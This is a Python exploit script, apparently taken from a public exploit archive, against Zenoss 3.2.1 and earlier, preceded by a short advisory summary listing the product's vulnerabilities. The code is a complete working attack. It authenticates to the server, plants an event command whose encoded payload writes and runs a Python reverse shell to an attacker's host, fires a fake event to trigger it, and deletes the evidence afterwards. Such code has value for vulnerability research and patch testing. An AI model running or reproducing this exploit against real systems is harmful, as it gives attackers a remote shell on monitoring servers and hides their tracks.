1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 |
source: https://www.securityfocus.com/bid/54793/info Zenoss is prone to the following security vulnerabilities: 1. Multiple arbitrary command-execution vulnerabilities 2. Multiple HTML-injection vulnerabilities 3. An open-redirection vulnerability 4. Multiple directory-traversal vulnerabilities 5. Multiple information-disclosure vulnerabilities 6. A code-execution vulnerability An attacker can exploit these issues to retrieve arbitrary files, redirect a user to a potentially malicious site, execute arbitrary commands, execute HTML and script code in the context of the affected site, steal cookie-based authentication credentials to perform unauthorized actions in the context of a user's session, or disclose sensitive-information. Zenoss 3.2.1 and prior are vulnerable. # Zenoss <= 3.2.1 Remote Post-Authentication Command Execution ################# # o Requires: Credentials for a user with "ZenManager" or "Manager" roles. # o Tested: Zenoss 3.2.1 # o Default port: 8080 # Brendan Coles <bcoles at gmail dot com> # 2012-03-14 ################################################################################ import socket, sys, random, time, re #verbose = True verbose = False # usage if len(sys.argv) < 6: print "Zenoss <= 3.2.1 Remote Post-Authentication Command Execution" print "[*] Usage: python "+sys.argv[0]+" <RHOST> <RPORT> <username> <password> <LHOST> <LPORT>" print "[*] Example: python "+sys.argv[0]+" 192.168.1.10 8080 zenoss zenoss 192.168.1.1 4444" sys.exit(0) # zenoss details RHOST= sys.argv[1] RPORT= int(sys.argv[2]) username = sys.argv[3] password = sys.argv[4] # reverse shell LHOST= sys.argv[5] LPORT= int(sys.argv[6]) # random file name filename = "" for i in range(0,random.randint(10,20)): filename = filename+chr(random.randint(97,122)) # connect to RHOST:RPORT try: socket.inet_aton(RHOST) except socket.error: print "[-] Error: Could not create socket." sys.exit(1) try: s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect((RHOST,RPORT)) except: print "[-] Error: Could not connect to server" sys.exit(1) # Login and get cookie if verbose: print "[*] Logging in" request = "GET /zport/acl_users/cookieAuthHelper/login?__ac_name="+username+"&__ac_password="+password+" HTTP/1.1\r\nHost: "+RHOST+":"+str(RPORT)+"\r\n\r\n" try: # send request s.sendto(request, (RHOST, RPORT)) data = s.recv(1024) if verbose: print str(data)+"\r\n" # get ginger cookie m = re.search('(__ginger_snap=".+";)', data) if not m: raise Exception("[-] Error: Could not retrieve __ginger_snap cookie value") else: ginger_cookie = str(m.group(1)) except: print "[-] Error: Login failed" sys.exit(1) # Add empty command to web interface if verbose: print "[*] Adding command to Zenoss" request = "GET /zport/dmd/ZenEventManager/commands/?id="+filename+"&manage_addCommand%3Amethod=+Add+&__ac_name="+username+"&__ac_password="+password+" HTTP/1.1\r\nHost: "+RHOST+":"+str(RPORT)+"\r\n\r\n" try: # send request s.sendto(request, (RHOST, RPORT)) data = s.recv(1024) if verbose: print str(data)+"\r\n" m = re.search('(Bobo-Exception-Type: Unauthorized)', data) if m: raise Exception("[-] Error: Incorrect username/password") else: print "[+] Added command to Zenoss successfully" except: print "[-] Error: Adding command to Zenoss failed" sys.exit(1) # Wait for command to be saved wait = 5 if verbose: print "[*] Waiting "+str(wait)+" seconds" time.sleep(wait) # Edit command to drop a python reverse shell request in /tmp/ if verbose: print "[*] Updating command with payload" postdata = "zenScreenName=editEventCommand.pt&enabled%3Aboolean=True&defaultTimeout%3Aint=60&delay%3Aint=1&repeatTime%3Aint=15&command=echo+%22import+socket%2Csubprocess%2Cos%3Bhost%3D%5C%22"+LHOST+"%5C%22%3Bport%3D"+str(LPORT)+"%3Bs%3Dsocket.socket%28socket.AF_INET%2Csocket.SOCK_STREAM%29%3Bs.connect%28%28host%2Cport%29%29%3Bos.dup2%28s.fileno%28%29%2C0%29%3B+os.dup2%28s.fileno%28%29%2C1%29%3B+os.dup2%28s.fileno%28%29%2C2%29%3Bp%3Dsubprocess.call%28%5B%5C%22%2Fbin%2Fsh%5C%22%2C%5C%22-i%5C%22%5D%29%3B%22+%3E+%2Ftmp%2F"+filename+".py%20%26%26%20chmod%20%2bx%20%2Ftmp%2F"+filename+".py%20%26%26%20python%20%2Ftmp%2F"+filename+".py&clearCommand=&add_filter=&manage_editEventCommand%3Amethod=+Save+" request = "POST /zport/dmd/ZenEventManager/commands/"+filename+"?__ac_name="+username+"&__ac_password="+password+" HTTP/1.1\r\nHost: "+RHOST+":"+str(RPORT)+"\r\nX-Requested-With: XMLHttpRequest\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: "+str(len(postdata))+"\r\n\r\n"+postdata try: # send request s.sendto(request, (RHOST, RPORT)) data = s.recv(1024) if verbose: print str(data)+"\r\n" # get zope cookie m = re.search('(_ZopeId=".+";)', data) if not m: raise Exception("[-] Error: Could not retrieve _ZopeId cookie value") else: zope_cookie = str(m.group(1)) print "[+] Sent payload successfully" except: print "[-] Error: Sending payload failed" sys.exit(1) # Wait for command to be saved wait = 5 if verbose: print "[*] Waiting "+str(wait)+" seconds" time.sleep(wait) # Send trigger event and get event id if verbose: print "[*] Sending trigger event" postdata = '{"action":"EventsRouter","method":"add_event","data":[{"summary":"'+filename+'","device":"'+filename+'","component":"'+filename+'","severity":"Info","evclasskey":"","evclass":""}],"type":"rpc","tid":0}' request = "POST /zport/dmd/Events/evconsole_router HTTP/1.1\r\nHost: "+RHOST+":"+str(RPORT)+'\r\nX-Requested-With: XMLHttpRequest\r\nCookie: '+ginger_cookie+' '+zope_cookie+'\r\nContent-Type: application/json; charset=UTF-8\r\nContent-Length: '+str(len(postdata))+'\r\n\r\n'+postdata try: # send request s.sendto(request, (RHOST, RPORT)) data = s.recv(1024) if verbose: print str(data)+"\r\n" # get trigger event id "evid" m = re.search('"evid": "(.+)"', data) evid = "" if not m: raise Exception("[-] Error: Sending trigger event failed") else: evid = str(m.group(1)) print "[+] Sent trigger event successfully" except: print "[-] Error: Sending trigger event failed" # Wait for command to execute wait = 60 if verbose: print "[*] Waiting "+str(wait)+" seconds" time.sleep(wait) # Delete trigger from web interface if verbose: print "[*] Deleting the trigger" postdata = '{"action":"EventsRouter","method":"close","data":[{"evids":["'+evid+'"],"excludeIds":{},"selectState":null,"field":"component","direction":"ASC","params":"{\\"severity\\":[5,4,3,2],\\"eventState\\":[0,1]}","asof":0}],"type":"rpc","tid":0}' request = "POST /zport/dmd/Events/evconsole_router HTTP/1.1\r\nHost: "+RHOST+":"+str(RPORT)+'\r\nX-Requested-With: XMLHttpRequest\r\nCookie: '+ginger_cookie+' '+zope_cookie+'\r\nContent-Type: application/json; charset=UTF-8\r\nContent-Length: '+str(len(postdata))+'\r\n\r\n'+postdata try: # send request s.sendto(request, (RHOST, RPORT)) data = s.recv(1024) if verbose: print str(data)+"\r\n" print "[+] Deleted trigger successfully" except: print "[-] Error: Deleting trigger failed" # Delete command from web interface if verbose: print "[*] Deleting the command from Zenoss" request = "GET /zport/dmd/ZenEventManager?zenScreenName=listEventCommands&redirect=false&ids%3Alist="+filename+"&id=&manage_deleteCommands%3Amethod=Delete&__ac_name="+username+"&__ac_password="+password+" HTTP/1.1\r\nHost: "+RHOST+":"+str(RPORT)+"\r\n\r\n" try: s.sendto(request, (RHOST, RPORT)) data = s.recv(1024) if verbose: print str(data)+"\r\n" print "[+] Deleted command from Zenoss successfully" except: print "[-] Error: Deleting command failed" print "[+] You should now have a reverse shell at "+LHOST+":"+str(LPORT) print "[+] Don't forget to delete /tmp/"+filename+".py" |